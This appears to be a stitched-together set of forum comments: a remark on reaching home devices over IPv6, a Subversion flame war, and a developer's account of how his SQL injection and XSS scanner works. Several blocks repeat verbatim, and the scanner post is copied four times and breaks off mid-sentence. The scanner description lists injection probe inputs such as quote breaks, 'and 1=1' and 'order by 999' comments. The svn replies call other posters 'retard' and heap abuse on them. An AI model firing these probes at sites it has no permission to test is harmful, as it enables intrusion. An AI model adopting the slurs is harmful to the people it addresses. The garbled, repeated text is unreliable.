The issue with this is that IP was designed so that each device has one IP address. When you visit google, you go to http://www.google.com/, not http://www.google.com:81/ (I tried to use :80 here, but slash removed it, so I'm using 81). So if I wanted my toaster and fridge to be accessible, to browser to their respective webpages, I'd have two choices; http://myhouse.example.com:81/ http://myhouse.example.com:82/ etc etc, or use a reverse proxy and use http://myhouse.example.com/toaster.

And how do you remember which port is the toaster, and which is the fridge? If you want to SSH into them, you can't even use a reverse web proxy. At that point, if I was forced to use IPv4, I'd setup a PPTP VPN and route it using 10.0.0.0/8 address range.

So no, I choose to make my toaster accessible via IPv6, and if you are forced to use v4, you can still access the basic webpage with http://myhouse.example.com/toaster. Hmmm.. I'm hungry, I think I wanted slightly burnt bread.

The issue with this is that IP was designed so that each device has one IP address. When you visit google, you go to http://www.google.com/, not http://www.google.com:81/ (I tried to use :80 here, but slash removed it, so I'm using 81). So if I wanted my toaster and fridge to be accessible, to browser to their respective webpages, I'd have two choices; http://myhouse.example.com:81/ http://myhouse.example.com:82/ etc etc, or use a reverse proxy and use http://myhouse.example.com/toaster.

And how do you remember which port is the toaster, and which is the fridge? If you want to SSH into them, you can't even use a reverse web proxy. At that point, if I was forced to use IPv4, I'd setup a PPTP VPN and route it using 10.0.0.0/8 address range.

So no, I choose to make my toaster accessible via IPv6, and if you are forced to use v4, you can still access the basic webpage with http://myhouse.example.com/toaster. Hmmm.. I'm hungry, I think I wanted slightly burnt bread.

What is the reason for .svn folders?

Meta-fucking-data, you blittering retard.

Poster said 'just make a branch retard it's free'. How is it free unless you don't have tags/ checked out and are typing in a long svn: url?? How annoying is that. It's not free, in fact it has a high cost.

What the holy fucking crap are you talking about? It's real fucking hard to type:

svn co http://svn.example.com/tags/my_tag_1_1

Wow, I think I better go lay down after that!

single project within a repo with lots of files or large files can easily take up gigabytes because of branches.

DON'T. CHECKOUT. THE. FUCKING. BRANCHES. YOU. FUCKING. RETARD. Branches are created some place else. The documentation even suggests one: /branches! It's dead fucking simple to have /trunk, /tags and /branches. Unless you're legally brain-dead I guess, then you might just have an excuse.

Third, why shouldn't somebody check out the whole root other than because svn explodes if they do? If somebody wants to work that way because it is more convenient for them then this is no problem with most other systems besides svn.

You shouldn't check out the root because as you so brilliantly point out you'll end up checking out all the tags and branches. If someone wants to work that way, they're a fucking retard, but sure they're welcome to do that. However you can't then try and claim it could be "more convenient for them" at the exact same time that you're complaining about doing exactly that.

Another poster said I'm just 'too fucking stupid' to use svn. Gotta love the class displayed in this thread by subversion apologists. Instead of flying off the handle, jumping to conclusions, and disparaging people because you have some sort of emotional connection to your version control system maybe actually try some of the better alternatives that people have mentioned.

You're right. I take that back. I should have said you're too fucking stupid to use any revision control system, or touch anything important, ever, under any circumstances, because your failure to understand basic concepts, read a manual or listen to people who actually do know better than you could quite likely cause serious injury or death to innocent bystanders. I hope to God that you're a code monkey in some inconsequential corporate job where your incompetence can not cause any serious or lasting damage. You belong on TheDailyWTF.

I'm the developer of SQLIer (the first tool listed on the site), and I've also developed a (VERY PRE ALPHA STAGE) tool that scans for SQL Injection and XSS.

http://bcable.net/project.php?vulndetector

I use two methods, one which is an integer field scan and another which is a string scan.

The integer scan works like so. Four pages are requested from the server:

Page 1: http://www.example.com/asd.php?id=1
Page 2: http://www.example.com/asd.php?id=2
Page 3: http://www.example.com/asd.php?id=1%2B1
Page 4: http://www.example.com/asd.php?id=1'

Page 3's variable of course decoding to "1+1". If page 3 is equal to page 2, and not equal to page 1 or 4, then it's vulnerable. The idea there is that the extra crap "+1" hasn't been stripped off returning the same as Page 1, and it's not causing a MySQL error like Page 4 does.

SQLIer also has a modified form of that integer scan to ensure a real SQL Injection vulnerable site has been entered in by the user. Since there are pages that when requested display different things each time (like if it has a time on the page or has a new forum post on a side menu), instead of comparing if two pages are equal, two pages are diff'd, then a percentage of how much of the pages are the same are calculated. So if 98% (I think, I can't remember what I have this set at) of the page is the same, it's considered "equal".

The string scan works as follows. (this function is done for both ' and ", in the example I'm using ')

Page 1: http://www.example.com/asd.php?id=qwe
Page 2: http://www.example.com/asd.php?id=qwe' /*
Page 3: http://www.example.com/asd.php?id=qwe' /*{randstring}

If Page 2 and 3 are different, then {randstring} is not needed since it's clear that an error (and/or URL) is being output to the screen. {randstring} is set to null if that is the case.

Then, Page 1 and 3 are compared, if they are different, then obviously an error is being thrown for the quote.

Page 3: http://www.example.com/asd.php?id=qwe' and 1=1 /*
Page 4: http://www.example.com/asd.php?id=qwe' order by 1 /*
Page 5: http://www.example.com/asd.php?id=qwe' and '1'='1

Page 5 is not requested if the quote does not throw an error. This is because the quote is obviously not causing a problem, and can't be closed.

Page 1 is compared against Pages 3 & 4. If Page 1 & 3 and Page 1 & 4 are different, then it continues to Page 5 if necessary. If Page 5 is different than Page 1, then it fails (they should be the same). This step is skipped if Page 5 isn't checked due to quotes not causing an error immediately.

Page 6: http://www.example.com/asd.php?id=qwe'"
Page 7: http://www.example.com/asd.php?id=qwe' order by 999 /*

If both Page 6 & 7 are both the same, then finally it's deemed an SQL Injection hole.

Granted, the string check is incredibly complex and also potentially destructive, which is why it's disabled by default. The integer scanner is very quick and gets most vulnerabilities, and is incredibly accurate as well.

As for XSS, that is incredibly easy. It just throws random strings into the query variables and sees if the resulting page contains that string.

Hope this helps some people when trying to auto

I'm the developer of SQLIer (the first tool listed on the site), and I've also developed a (VERY PRE ALPHA STAGE) tool that scans for SQL Injection and XSS.

http://bcable.net/project.php?vulndetector

I use two methods, one which is an integer field scan and another which is a string scan.

The integer scan works like so. Four pages are requested from the server:

Page 1: http://www.example.com/asd.php?id=1
Page 2: http://www.example.com/asd.php?id=2
Page 3: http://www.example.com/asd.php?id=1%2B1
Page 4: http://www.example.com/asd.php?id=1'

Page 3's variable of course decoding to "1+1". If page 3 is equal to page 2, and not equal to page 1 or 4, then it's vulnerable. The idea there is that the extra crap "+1" hasn't been stripped off returning the same as Page 1, and it's not causing a MySQL error like Page 4 does.

SQLIer also has a modified form of that integer scan to ensure a real SQL Injection vulnerable site has been entered in by the user. Since there are pages that when requested display different things each time (like if it has a time on the page or has a new forum post on a side menu), instead of comparing if two pages are equal, two pages are diff'd, then a percentage of how much of the pages are the same are calculated. So if 98% (I think, I can't remember what I have this set at) of the page is the same, it's considered "equal".

The string scan works as follows. (this function is done for both ' and ", in the example I'm using ')

Page 1: http://www.example.com/asd.php?id=qwe
Page 2: http://www.example.com/asd.php?id=qwe' /*
Page 3: http://www.example.com/asd.php?id=qwe' /*{randstring}

If Page 2 and 3 are different, then {randstring} is not needed since it's clear that an error (and/or URL) is being output to the screen. {randstring} is set to null if that is the case.

Then, Page 1 and 3 are compared, if they are different, then obviously an error is being thrown for the quote.

Page 3: http://www.example.com/asd.php?id=qwe' and 1=1 /*
Page 4: http://www.example.com/asd.php?id=qwe' order by 1 /*
Page 5: http://www.example.com/asd.php?id=qwe' and '1'='1

Page 5 is not requested if the quote does not throw an error. This is because the quote is obviously not causing a problem, and can't be closed.

Page 1 is compared against Pages 3 & 4. If Page 1 & 3 and Page 1 & 4 are different, then it continues to Page 5 if necessary. If Page 5 is different than Page 1, then it fails (they should be the same). This step is skipped if Page 5 isn't checked due to quotes not causing an error immediately.

Page 6: http://www.example.com/asd.php?id=qwe'"
Page 7: http://www.example.com/asd.php?id=qwe' order by 999 /*

If both Page 6 & 7 are both the same, then finally it's deemed an SQL Injection hole.

Granted, the string check is incredibly complex and also potentially destructive, which is why it's disabled by default. The integer scanner is very quick and gets most vulnerabilities, and is incredibly accurate as well.

As for XSS, that is incredibly easy. It just throws random strings into the query variables and sees if the resulting page contains that string.

Hope this helps some people when trying to auto

I'm the developer of SQLIer (the first tool listed on the site), and I've also developed a (VERY PRE ALPHA STAGE) tool that scans for SQL Injection and XSS.

http://bcable.net/project.php?vulndetector

I use two methods, one which is an integer field scan and another which is a string scan.

The integer scan works like so. Four pages are requested from the server:

Page 1: http://www.example.com/asd.php?id=1
Page 2: http://www.example.com/asd.php?id=2
Page 3: http://www.example.com/asd.php?id=1%2B1
Page 4: http://www.example.com/asd.php?id=1'

Page 3's variable of course decoding to "1+1". If page 3 is equal to page 2, and not equal to page 1 or 4, then it's vulnerable. The idea there is that the extra crap "+1" hasn't been stripped off returning the same as Page 1, and it's not causing a MySQL error like Page 4 does.

SQLIer also has a modified form of that integer scan to ensure a real SQL Injection vulnerable site has been entered in by the user. Since there are pages that when requested display different things each time (like if it has a time on the page or has a new forum post on a side menu), instead of comparing if two pages are equal, two pages are diff'd, then a percentage of how much of the pages are the same are calculated. So if 98% (I think, I can't remember what I have this set at) of the page is the same, it's considered "equal".

The string scan works as follows. (this function is done for both ' and ", in the example I'm using ')

Page 1: http://www.example.com/asd.php?id=qwe
Page 2: http://www.example.com/asd.php?id=qwe' /*
Page 3: http://www.example.com/asd.php?id=qwe' /*{randstring}

If Page 2 and 3 are different, then {randstring} is not needed since it's clear that an error (and/or URL) is being output to the screen. {randstring} is set to null if that is the case.

Then, Page 1 and 3 are compared, if they are different, then obviously an error is being thrown for the quote.

Page 3: http://www.example.com/asd.php?id=qwe' and 1=1 /*
Page 4: http://www.example.com/asd.php?id=qwe' order by 1 /*
Page 5: http://www.example.com/asd.php?id=qwe' and '1'='1

Page 5 is not requested if the quote does not throw an error. This is because the quote is obviously not causing a problem, and can't be closed.

Page 1 is compared against Pages 3 & 4. If Page 1 & 3 and Page 1 & 4 are different, then it continues to Page 5 if necessary. If Page 5 is different than Page 1, then it fails (they should be the same). This step is skipped if Page 5 isn't checked due to quotes not causing an error immediately.

Page 6: http://www.example.com/asd.php?id=qwe'"
Page 7: http://www.example.com/asd.php?id=qwe' order by 999 /*

If both Page 6 & 7 are both the same, then finally it's deemed an SQL Injection hole.

Granted, the string check is incredibly complex and also potentially destructive, which is why it's disabled by default. The integer scanner is very quick and gets most vulnerabilities, and is incredibly accurate as well.

As for XSS, that is incredibly easy. It just throws random strings into the query variables and sees if the resulting page contains that string.

Hope this helps some people when trying to auto

I'm the developer of SQLIer (the first tool listed on the site), and I've also developed a (VERY PRE ALPHA STAGE) tool that scans for SQL Injection and XSS.

http://bcable.net/project.php?vulndetector

I use two methods, one which is an integer field scan and another which is a string scan.

The integer scan works like so. Four pages are requested from the server:

Page 1: http://www.example.com/asd.php?id=1
Page 2: http://www.example.com/asd.php?id=2
Page 3: http://www.example.com/asd.php?id=1%2B1
Page 4: http://www.example.com/asd.php?id=1'

Page 3's variable of course decoding to "1+1". If page 3 is equal to page 2, and not equal to page 1 or 4, then it's vulnerable. The idea there is that the extra crap "+1" hasn't been stripped off returning the same as Page 1, and it's not causing a MySQL error like Page 4 does.

SQLIer also has a modified form of that integer scan to ensure a real SQL Injection vulnerable site has been entered in by the user. Since there are pages that when requested display different things each time (like if it has a time on the page or has a new forum post on a side menu), instead of comparing if two pages are equal, two pages are diff'd, then a percentage of how much of the pages are the same are calculated. So if 98% (I think, I can't remember what I have this set at) of the page is the same, it's considered "equal".

The string scan works as follows. (this function is done for both ' and ", in the example I'm using ')

Page 1: http://www.example.com/asd.php?id=qwe
Page 2: http://www.example.com/asd.php?id=qwe' /*
Page 3: http://www.example.com/asd.php?id=qwe' /*{randstring}

If Page 2 and 3 are different, then {randstring} is not needed since it's clear that an error (and/or URL) is being output to the screen. {randstring} is set to null if that is the case.

Then, Page 1 and 3 are compared, if they are different, then obviously an error is being thrown for the quote.

Page 3: http://www.example.com/asd.php?id=qwe' and 1=1 /*
Page 4: http://www.example.com/asd.php?id=qwe' order by 1 /*
Page 5: http://www.example.com/asd.php?id=qwe' and '1'='1

Page 5 is not requested if the quote does not throw an error. This is because the quote is obviously not causing a problem, and can't be closed.

Page 1 is compared against Pages 3 & 4. If Page 1 & 3 and Page 1 & 4 are different, then it continues to Page 5 if necessary. If Page 5 is different than Page 1, then it fails (they should be the same). This step is skipped if Page 5 isn't checked due to quotes not causing an error immediately.

Page 6: http://www.example.com/asd.php?id=qwe'"
Page 7: http://www.example.com/asd.php?id=qwe' order by 999 /*

If both Page 6 & 7 are both the same, then finally it's deemed an SQL Injection hole.

Granted, the string check is incredibly complex and also potentially destructive, which is why it's disabled by default. The integer scanner is very quick and gets most vulnerabilities, and is incredibly accurate as well.

As for XSS, that is incredibly easy. It just throws random strings into the query variables and sees if the resulting page contains that string.

Hope this helps some people when trying to auto